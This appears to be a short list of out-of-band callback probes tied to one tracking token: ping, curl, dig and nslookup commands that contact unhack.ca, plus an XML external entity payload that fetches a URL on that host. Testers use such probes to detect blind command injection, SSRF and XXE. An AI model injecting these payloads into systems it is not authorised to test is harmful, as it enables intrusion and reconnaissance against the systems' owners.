$ ping -c1 -p 00a2a5f700b17052377dd6b74073ba00 unhack.ca
 

$ curl http://unhack.ca/p/a2a5f700b17052377dd6b74073ba
 

$ dig a2a5f700b17052377dd6b74073ba @unhack.ca
 

$ dig a2a5f700b17052377dd6b74073ba.ns.unhack.ca
 

C:\> nslookup a2a5f700b17052377dd6b74073ba unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a2a5f700b17052377dd6b74073ba">]>
    <foo>&xxe;</foo>